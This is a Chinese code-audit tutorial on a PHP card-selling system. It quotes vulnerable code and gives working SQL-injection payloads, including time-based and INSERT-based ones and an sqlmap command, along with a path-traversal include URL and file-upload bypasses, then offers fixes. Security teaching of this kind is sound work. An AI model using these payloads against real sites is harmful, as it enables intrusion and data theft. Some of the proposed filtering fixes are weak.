发卡系统代码审计-php
字数 1215 2025-08-09 22:00:43
PHP发卡系统代码审计与漏洞挖掘教学文档
1. 系统概述
本教学文档针对一个PHP发卡系统进行全面的代码审计,揭示其中存在的多种安全漏洞。系统主要文件结构如下:
index.php => if/common.php => config.php => db.class.php => function.php => member.php
2. 漏洞分析与利用
2.1 SQL注入漏洞
2.1.1 延迟注入
漏洞位置:function.php中的_if过滤函数存在缺陷
过滤函数分析:
function _if($str) {
$str = str_replace(">","", $str);
$str = str_replace("/","", $str);
$str = str_replace("<","", $str);
$str = str_replace(":","", $str);
$str = str_replace(" '","",$str);
$str = str_replace(" ","",$str);
$str = str_replace("=","",$str);
$str = str_replace("||","",$str);
$str = str_replace("-","",$str);
$str = str_replace("#","",$str);
$str = str_replace("*","",$str);
$str = str_replace("?","",$str);
return $str;
}
漏洞代码段:
case 'selgo':
$select = "<option>请选择商品</option>";
$tpID = _if($_POST['tyid']);
if($tpID == ""){
exit(' {"code": 0 ,"msg":" '.$select.' "} ');
}
$sql = "select * from if_goods where state =1 and tpId = ".$tpID." ORDER BY sotr desc";
$res = $DB->query($sql);
漏洞利用:
- 过滤函数虽然移除了单引号前的空格(
" '"),但未移除单引号本身 - 参数直接拼接到SQL语句中,未使用预处理
- 可构造如
1 AND SLEEP(6)的payload进行时间盲注
验证方法:
- 正常访问响应时间:2秒
- 注入
SLEEP(6)后响应时间:8秒 - 使用SQLMap:
sqlmap -u "目标URL" --data="tyid=1*" --level=3 --risk=3
2.1.2 INSERT注入
漏洞位置:ajax.php中的create操作
漏洞代码:
case 'create':
$out_trade_no = $_POST['out_trade_no'];
$gid = _if($_POST['gid']);
$money = _if($_POST['money']);
$rel = _if($_POST['rel']);
$type = _if($_POST['type']);
$number = intval($_POST['number']);
// ...省略检查代码...
$sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number)
漏洞利用:
构造payload:
',1,1,'1111111',now(),'qqpay',1),((select database()),1,1,(select user()),now(),'qqpay',1)#
&gid=1&money=1&rel=1111111&type=qqpay&number=1
利用效果:
- 将数据库信息和用户信息插入到订单表中
- 可通过查询订单列表获取敏感信息
2.1.3 时间注入
漏洞位置:支付功能中的out_trade_no参数
漏洞代码:
$or = $_GET['out_trade_no'];
$sql = "SELECT * FROM if_order WHERE out_trade_no='{$or}' limit 1";
漏洞特点:
out_trade_no参数未经过任何过滤- 可直接构造时间盲注payload
利用方法:
/sendcard/other/submit.php?type=qqpay&name=test&money=2&number=2
&out_trade_no=1' AND IF(1=1,SLEEP(5),0)-- &gid=1
2.2 文件包含漏洞
漏洞位置:index.php中的模板包含
漏洞代码:
if (!empty($_GET['tp']) && !empty($_GET['action'])){
$tp = $_GET['tp'];
$action = $_GET['action'];
include 'template/' . $tp . '/' . $action .".php";
exit();
}
漏洞利用:
- 目录遍历包含任意文件:
index.php?tp=default&action=../../phpinfo - 可结合文件上传漏洞实现代码执行
2.3 文件上传漏洞
2.3.1 商品图片上传
漏洞位置:admin/clist.php?my=add
上传函数分析:
function upimgs($upfile) {
$max_file_size = 2000000;
$destination_folder ="../assets/goodsimg/";
$f ="assets/goodsimg/";
$uptypes = array('image/jpg','image/jpeg','image/png','image/pjpeg','image/gif','image/bmp','image/x-png');
// 检查文件类型
if (!in_array($file["type"], $uptypes)) {
return null;
exit;
}
// ...省略其他代码...
}
漏洞特点:
- 仅检查
Content-Type,未检查文件内容 - 可伪造
Content-Type上传PHP文件
2.3.2 Logo上传
漏洞位置:set.php?mod=upimg
漏洞代码:
if ($_POST['s']==1){
$extension =explode('.',$_FILES['file']['name']);
if (($length = count($extension)) > 1) {
$ext = strtolower($extension[$length-1]);
}
if ($ext == 'png' || $ext == 'gif' || $ext == 'jpg' || $ext == 'jpeg' || $ext == 'bmp')
$ext = 'png';
copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext);
}
漏洞利用:
- 虽然强制修改扩展名为
png,但可通过%00截断绕过 - 或利用解析漏洞(如Apache的
logo.png.php)
3. 漏洞修复建议
3.1 SQL注入修复
- 使用预处理语句:
$stmt = $DB->prepare("SELECT * FROM if_goods WHERE state =1 AND tpId = ? ORDER BY sotr desc");
$stmt->bind_param("i", $tpID);
$stmt->execute();
- 完善过滤函数:
function _if($str) {
if (!is_numeric($str)) {
return addslashes(htmlspecialchars(strip_tags($str)));
}
return $str;
}
3.2 文件包含修复
- 限制包含路径:
$allowed_templates = ['default', 'admin'];
if (!in_array($tp, $allowed_templates)) {
die('Invalid template');
}
3.3 文件上传修复
- 严格验证文件内容:
function isImage($file) {
$allowed = [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF];
$detected = exif_imagetype($file['tmp_name']);
return in_array($detected, $allowed);
}
- 重命名上传文件:
$new_name = md5(uniqid()).'.'.$ext;
4. 审计总结
本系统存在多处严重安全漏洞,主要问题包括:
- SQL注入漏洞(延迟注入、INSERT注入、时间注入)
- 文件包含漏洞(目录遍历)
- 文件上传漏洞(类型验证不严)
审计关键点:
- 关注用户输入的处理流程
- 检查数据库查询是否使用预处理
- 验证文件操作的安全控制
- 特别注意未经过滤的GET/POST参数
通过本案例,安全开发人员应认识到输入验证、输出编码和使用安全API的重要性。